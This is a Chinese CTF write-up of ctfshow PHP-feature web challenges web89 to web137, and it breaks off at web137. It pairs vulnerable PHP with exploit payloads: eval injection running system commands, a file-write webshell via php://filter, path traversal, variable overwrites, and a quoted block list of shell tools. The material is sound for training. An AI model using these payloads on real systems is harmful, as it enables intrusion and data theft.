php特性

web89

1
2
3
4
5
6
7
8
9
10
11
12
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

查看代码发现
preg_match过滤0-9,即发现有0-9,就输出no no no,然而intval函数的作用是返回变量的整数值,两者相互矛盾

这里可以通过数组绕过,构造payload:?num[]=

获得flag

web90

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

查看源码发现,第一个if是验证num是否存在,第二个if验证num是否为4476,如果是就出输出nonono,但第三个if是验证num取整后是否为4476,所以我们可以随便取一个4476.0-9,经过intval取整后即为4476符合条件,输出flag

web91

1
2
3
4
5
6
7
8
9
10
11
12
13
14
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

查看源码
先看第一个if
preg_match()函数是用于一个正则表达式匹配
第一个if的意思是如果a的开头和结尾都是php,则进入下一个if
/^php$/im中 ^表示开头 **$**表示结尾 /i表示对大小写不敏感 /m表示多行匹配

1
if(preg_match('/^php$/i', $a))

这个if的意思是匹配a开头和结尾是php,不区分大小写,如果开头结尾为php,则输出hacker

仔细对比发现,第二个if的过滤对比第一个少了一个多行匹配/m,这可以用到Apache HTTPD换行解析漏洞
传送门
大概意思是:以前的1.php可以用1%0aphp访问,%0a表示换行符,那么综上所述,就可以绕过函数的过滤
构造payload:

1
?cmd=a%0aphp

a%0aphp,首先是preg_match中的$(匹配结尾)匹配a%0aphp中的换行符,这个时候会匹配到%0a(将%0a当作换行),那么a%0aphp后面的php因为preg_match函数有个/m(匹配多行)就是单独的一行了,满足第一个if,要求行开始和结尾都是php

其次是第二个if,第二个if要求$a中开头和结尾没有php,而这个preg_match函数中没有/m匹配多行,所以就直接匹配abc,abc不满足第二个if,所以输出flag

web92

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

解题方式与90题一样,第一个if验证num是否合格,第三个if则是如果num取整后等于4476则输出flag,这里可以?num=4476.(1-9都可以)

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

与92题解题方法一样,不同点在于93题加入了一个if函数来筛选,其实也不影响原本做题思路,加入了preg_match函数,作用是如果出现了a-z|A-Z的字符,就会输出nonono
下面还有一个函数intval,若num取整后等于4476,则输出flag,输入?num=4476.2获取flag

web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

本题与前几题并无太大区别,我们注意到本题添加了一个if语句,strops(string,find,start)用于检测字符串在另一字符串出现的位置,满足strpos($num, “0”)语句的条件是num里的数有0返回true,没0返回flase,需要注意以下这个函数前面有一个!号,如果我们要绕过这个if语句,就需要使我们的num里含有0,这样就会绕过这个if,同时下一个取整函数也不会耽搁?num=4476.01 or ?num=4476.0皆可

web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

这次的preg_match函数不仅把字母过滤了还把.给过滤了,这样我们就不能进行上一题的操作了,我们可以利用进制转换的便利,这里我们可以用010574(4476的八进制)绕过,去看了看intval函数的发现最开头可以如果是+还是可以识别为原数,so,payload=?num=+010574

web96

1
2
3
4
5
6
7
8
9
10
11
12

highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}


}

第二个if表明了不能直接以相对路径读取,那么我们可以用绝对路径读
payload:?u=/var/www/html/flag.php
或者也可以返回上一级然后再回来读取
payload:?u=../html/flag.php
或者
payload:?u=./flag.php

web97

1
2
3
4
5
6
7
8
9
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

这一关使用MD5碰撞
而且使post方式所以要在hackbar里的post data里输入
我们这里使用数组的方式绕过,payload:a[]=1 & b[]=2
可以看到页面上出现了warning,但也显示了flag,这是因为PHP对无法md5加密的东西不加密,结果为NULL,虽然会报错,但是null=null,逻辑关系为True。所以可以输出flag。

web98

1
2
3
4
5
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

考点:变量覆盖、三元运算符、&在php中的应用作用
第一句的意思是如果存在GET请求则引用POST请求的内容
所以我们url栏中随便填一填
然后再在hackbar上的post data输入关键句HTTP_FLAG=flag
这样就成功回显了flag
所以第一句存在变量覆盖的效果,所以GET请求不管给什么东西都会被post请求覆盖掉

web99

1
2
3
4
5
6
7
8
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

要求:1、变量n存在于随机数组$allow中
知识点:
1.array_push()向数组尾部添加元素
2.file_put_contents($filename,$data,$data,$flags,$context)向文件中写入一个字符串,若没有文件,则先创建在写入
3.in_array($value,$array,$type)
弱类型比较
判断$value是否存在$array的值
$type若为true,则检测$value值与$array值的类型是否相同
方法一:
执行系统命令
get: n=123.php 数字是多少无所为,小于0x36d就行,数组$allow是由36个小于0x36d的随机 数字组成,因此需要多试几次,虽然我试了很多次,但依旧没显示出来😭
post: content=

方法二:
上传木马
get: n=2.php
post: content=

然后我们开启中国蚁剑

连接成功

获得flag!

web100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

flag in class ctfshow
先看v0,这里有个小特性,赋值=的优先级高于逻辑运算,所以只要让is_numeric($v1)返回true即可满足if判断,and后面的无论结果如何都不影响
再看第二个if,注意函数前面的!(非),表示了v2不能出现;
第三个if表示v3里必须要出现 ;

payload:?v1=123&v2=var_dump($ctfshow)&v3=;

tip: var_dump() 函数显示关于一个或多个表达式的结构信息,包括表达式的类型与值。数组将递归展开值,通过缩进显示其结构。.

例:

1
2
3
4
5
<?php
$b = 3.1;
$c = true;
var_dump($b, $c);
?>

输出为:
float(3.1)
bool(true)

本题的var_dump()用来得到ctfshow里的内容。

web101

first 上代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

可以看出这次特殊符号基本上都被禁用了,利用ReflectionClass(咱也不知道是啥,看题解也不会😭)建立ctfshow类的反射类,new ReflectionnClass($class)获得class的反射对象(包括了元数据信息) v3是不能为;以外的特殊字符

payload:?v1=1&v2=echo new Reflectionlass&v3=;
获取的 flag 需要将 0x2d 替换成 -

web102-103

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}

看到file_put_contents要条件反射,因为它可以配合伪协议

1
2
3
file_put_contents()
//用来写文件进去,其中文件名参数是支持伪协议的,用于将第二个参数content进行过滤器后再写进文件里面去
file_put_content($_POST['filename'], "<?php system($_GET['c']);?>");

通过伪协议直接生成文件
?v3=php://filter/write=convert.base64-decode/resource=2.php
通过十六进制v2=115044383959474e6864434171594473
post :v1=hex2bin

然后得到 PD89YGNhdCAqYDs base64解码为<?=`cat *`;
访问2.php查看源码即可查看到flag

web104

1
2
3
4
5
6
7
8
9
10
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}

sha1()与MD5一样都是有漏洞可以绕过的

sha1漏洞

例如这个代码:$_GET['name']!=$_GET['password']&&sha1($_GET['name'])===sha1($_GET['password'])

可通过构造?name[]&password[]=123123 来绕过
GET:?v2[]=123123
POST:v1[]=
得出flag

web105

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

题目一共有三个变量$error $suces $flag 我们只要令其中一个的值为flag,都是可以通过die或者直接echo输出的
通过die($error)输出
get:a=flag post:error=a
进行的操作为

1
2
$a=$flag
$error=$a

此时$a=flag;$error=flag,从而输出error也就是输出flag

web106

1
2
3
4
5
6
7
8
9
10
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}

此题与104题相同,利用sha1的漏洞,post:v1[]=
get:v2[]=123123

获取flag

web107

1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);//parse_str(string(规定要解析的字符串),array(规定存储变量的数组名称。该参数指示变量存储到数组中))
if($v2['flag']==md5($v3)){
echo $flag;
}

}

看到MD5,我们选择数组绕过,让v1=flag,我的理解是v2含于v1,v2[‘flag’],所以v1要包含flag
payload:

1
2
3
GET:v3[]=122
POST:v1=flag

web108

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

?>

intval()函数用于获取变量的整数值。
strrev() 函数反转字符串。
0x36d=877
且前面if是正则表达式匹配,则get里得有一个符合正则匹配的字符,即第一个要为字母
%00为截断作用,就是c语言中字符串的截止符号/0的作用

1
2
payload:
?c=a%00778

这样即满足了第一个if的正则匹配在%00处停止,也满足了第二个if反转弱比较等于877在%00处停止。

web109

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}

}

代码在此,正则表达式匹配,关键在于eval里的内容,意思为初始化一个v1类,v2()是传入这个类的参数,那么v1就是一个内置类
payload:

1
?v1=mysqli&v2=system('cat fl36dg.txt')

也就是初始化一个mysqli类,但是实际上这个类的初始化时候传参不止这一个,所以是初始化失败的,但是由于其内部有魔术方法_toString
如果类定义了toString方法,就能在测试时,echo打印对象体,对象就会自动调用它所属类定义的toString方法,格式化输出这个对象所包含的数据。
这时候就可以echo出来了。
同样Exception也是可以的,这个类会把传入的参数输出出来,也是_toString方法的,所以payload如下:

1
?v1=exception&v2=system('cat fl36dg.txt')

web110

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}

eval("echo new $v1($v2());");

}

代码可知,正则匹配过滤了几乎除字母外的所有字符,所以web109的方法不再适用,找一个可以用的内置类和纯字母函数
类:
FilesystemIterator() 遍历文件类
directoryItrerator() 遍历目录类
函数:
getcwd() 返回当前工作目录

payload:

1
?v1=FilesystemIterator&v2=getcwd

回显了一个fl36dga.txt文件,在url中输入即可获取flag

web111

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];

if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}

if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}

同样的v1&v2只能输入字母,最下面的正则匹配表示v1=ctfshow,
getflag中&符号与c语言指针一样,在eval中$$v1=&$$v2表示为变量覆盖
payload:

1
v1=ctfshow&v2=flag

回显为NULL,因为getflag里为局部变量,无法使用外部变量

1
2
$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

所以对于该题,只要把$GLOBALS赋值给v2,然后v2再赋值给v1,即可将全部变量输出
payload:

1
v1=ctfshow&v2=GLOBALS

web112

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

is_file 函数可以使用包装器 伪协议来绕过
不影响file_get_contents highlight_file

if(!is_file($file)){表示file文件不存在才能通过if
而is_file()和highlight_file()都可配合伪协议
所以我们使用一个伪协议?file=php://filter/convert.base64-encode/resource=flag.php

又因为base64被过滤,我们不使用转换,去掉/convert.base64-encode
所以

payload:

1
?file=php://filter/resource=flag.php

web113

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} <?php

上述代码增加了一个对filter的正则匹配,所以不能用上一题的办法,找一下其它的协议
payload:

1
?file=compress.zlib://flag.php

换用读取压缩流

linux里/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容,多次重复后绕过is_file目录溢出is_file判断为不是一个文件

payload:

1
2
3
4
5
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

web114

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}

这回正则匹配又改变了,过滤了compress,和root,所以上题的两种方法都用不成了,但是它并没有过滤filter,所以本题
payload:

1
?file=php://filter/resource=flag.php

web115

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
}

is_numeric()函数在于检测变量是否为数字或数字字符串
trim(string,charlist)函数用于一处字符串两侧的空白字符或其它预定义字符,如charlist没有内容,trim()将去除这些字符

  • “ “(ASCII 32(0X20)) 普通空格符。
  • “\t”(ASCII 9(0x09)) 制表符。
  • “\n”(ASCII 10(0x0A)) 换行符。
  • “\r”(ASCII 13(0x0D)) 回车符。
  • “\0”(ASCII 0(0x00)) 空字节符。
  • “\x0B”(ASCII 11 (0x0B)) 垂直制表符。

payload:

1
?num=%0C36

ascii表中0c为换页符,所以能绕过trim() 且弱比较不影响,filter()也为true
注:
num!==36 为强类型比较,因num=%0c36与36不一样,所以为true,if($num=='36'){为弱比较也为true,所以都能通过

web123

1
2
3
4
5
6
7
8
9
10
11
12
13
14
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

在php中变量名字是由数字字母和下划线组成的,所以不论用post还是get传入变量名的时候都将空格、+、点、[转换为下划线,但是用一个特性是可以绕过的,就是当[提前出现后,后面的点就不会再被转义了,例如:CTF[SHOW.COM=>CTF_SHOW.COM

if($fl0g===”flag_give_me”)与前面第一个if有冲突,所以我们弃用这个if
eval()中可以运行php代码,所以
payload:

1
2
POST:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

正则匹配里要求的c<=18,在本地验证一下是否满足

1
2
3
4
<?php

$a='echo $flag';
var_dump($a<=18);

返回结果为true
提交获得flag

web125

1
2
3
4
5
6
7
8
9
10
11
12
13
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

和上一题不一样的是,它过滤了flag和echo
方法一:
payload:

1
2
3
4
POST:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])
GET:
?1=flag.php

因为if把fun中的flag过滤了,所以这样来绕过过滤

方法二:
payload:

1
2
POST:
CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me

extract变量覆盖,使fl0g有值通过最后的if

web126

1
2
3
4
5
6
7
8
9
10
11
12
13
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}

这里禁用了g i f c o d,前面的方法都不能用了
利用$_SERVER[‘argv’]
$_SERVER[‘argv’]是一个包含了诸如头信息(hearder)、路径(path)、以及脚本位置(script locations)等等信息的数组。这个数组中的项目由web服务器创建。
'argv'
传递给该脚本的参数的数组。当脚本以命令行方式运行时,argv变量传递给程序c语言样式的命令行参数。当通过GET方式到用时,该变量包含query string。

意思就是通过$_SERVER[‘argv’]将$a变成数组,再利用数组的性质将fl0g=flag_give_me传入,同时还绕过第一个if中的!isset($_GET['fl0g]),用+进行分隔,使得数组中有多个数值。
执行eval函数也就是执行$c既是parse_str($a[1]),使得fl0g=flag_give_me,从而进入第三个if语句。

1
2
3
payload:
GET: ?a=1+fl0g=flag_give_me
POST:CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])

+为空格
数组以空格来分割
a[0]=1
a[1]=fl0g=flag_give_me
且parse_str($a[1])为16个字符满足条件

web127

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}

if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}


if($ctf_show==='ilove36d'){
echo $flag;
}

由于PHP的变量名不能带[点]和[空格],所以它们会被转化成下划线
payload:

1
2
GET:
?ctf show=ilove36d

因为空格没有禁用而+和.被禁用,所以用’ ‘来代替

web128

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
echo "嗯哼?";
}


function check($str){
return !preg_match('/[0-9]|[a-z]/i', $str);
}

特殊字符为函数只有一个_(),_()==gettext() 是gettext()的拓展函数

get_defined_vars() 函数返回由所有已定义变量所组成的数组。

1
2
payload:
?f1=_&f2=phpinfo

发现gettext开启

1
2
payload:
?f1=_&f2=get_defined_vars

web129

1
2
3
4
5
6
7
8
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
$f = $_GET['f'];
if(stripos($f, 'ctfshow')>0){
echo readfile($f);
}
}

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
readfile() 函数读取一个文件,并写入到输出缓冲。
目录穿越
我们可以一级一级返回上级目录再进入到我们想进入的目录中

1
2
payload:
?f=../../ctfshow/../../../../var/www/html/flag.php

web130

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = $_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f, 'ctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

第一个if(preg_match('/.+?ctfshow/is', $f))
is中 i代表匹配大小写 s代表匹配换行
+?代表ctfshow前面至少有一个字符才能匹配
if(stripos($f, ‘ctfshow’) === FALSE)只要$f中能匹配到ctfshow,返回的int值都会不等于FALSE

所以
payload:

1
2
POST:
f=ctfshow

web131

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
$f = (String)$_POST['f'];

if(preg_match('/.+?ctfshow/is', $f)){
die('bye!');
}
if(stripos($f,'36Dctfshow') === FALSE){
die('bye!!');
}

echo $flag;

}

先看stripos()函數,它的意思是查找 “string” 在字符串中第一次出现的位置:
所以说36Dctfshow必须在f中出现,但同时preg_match函数过滤了ctfshow,所以我们考虑绕过preg_match函数
一共有以下几种方法绕过preg_match函数

  1. 数组绕过preg_match只能处理字符串,当传入的subject是数组时会返回false
  2. 换行符绕过,preg_match不会匹配换行符例如: /?value=%0ashell.php 则会成功传入
    /?value=shell.php
  3. PCRE回溯限制次数绕过,这个通俗的讲便是重复的填入正常字符串一般往里面插入个100个字母便可,让preg_match函数一直回溯一直回溯,直到吹灯拔蜡返回false

前两种方式提交发现并不能绕过返回flag
那么用第三种方法
首先在php编译器运行下列代码

1
2
<?php
echo str_repeat('fukk', '250000').'36Dctfshow';

str_repeat是用于复制
复制粘贴到post,如果因为复制的太多而无法复制到最后面的36Dctfshow,那么手动添加即可,提交得到flag

也可以python写一个脚本

1
2
3
4
5
6
7
8
import requests

url = 'http://49eb1749-d5f4-4cfd-b5ef-4e14a38d2463.challenge.ctf.show/'
data = {
'f': 'fukk' * 250000 + '36Dctfshow'
}
r = requests.post(url=url, data=data).text
print(r)

web132

本题是一个网页,进去随便点一点,没有发现可用的信息
回想web4里有个提示:”总有人把后台地址写入robots”
url输入robots.txt
获得一个提示
进入admin
或者可以用御剑来扫描
御剑是用来方便查找用户后台登录地址
也可以得到admin
进入admin得到下面代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
$username = (String)$_GET['username'];
$password = (String)$_GET['password'];
$code = (String)$_GET['code'];

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

if($code == 'admin'){
echo $flag;
}

}
}

再来分析if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")

第一个code让他为false,password也为false,只要username为真,就能通过if
所以payload:

1
2
?code=888&password=888&username=admin

web134

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
die(file_get_contents('flag.php'));
}

看到parse_str和extract,变量覆盖
第一条if判断,要求key1和key2不能通过get和post传递

1
2
3
4
parse_str():把查询字符串解析到变量中
extract():函数从数组中将变量导入到当前的符号表
$_SERVER['QUERY_STRING']
query string是Uniform Resource Locator (URL)的一部分, 其中包含着需要传给web application的数据

parse_str是对get请求进行的内容解析成变量,例如传递?a=1,执行后就是$a=1.
那么相对的,传递_POST,就是对$_POST进行赋值,正好就可以绕过if条件对post的限制。extract()函数从数组中将变量导入到当前的符号表。

payload:?_POST[key1]=36d&_POST[key2]=36d

web136

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function check($x){
if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>

tee用于显示程序的输出并将其复制到一个文件中
payload:?c=ls |tee 1
访问1有index.php 没有flag文件
payload:?c=ls / | tee 1
找到flag文件f149_15_h3r3
payload:?c=cat /f149_15_h3r3|tee 1
flag😍

web137

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
function __wakeup(){
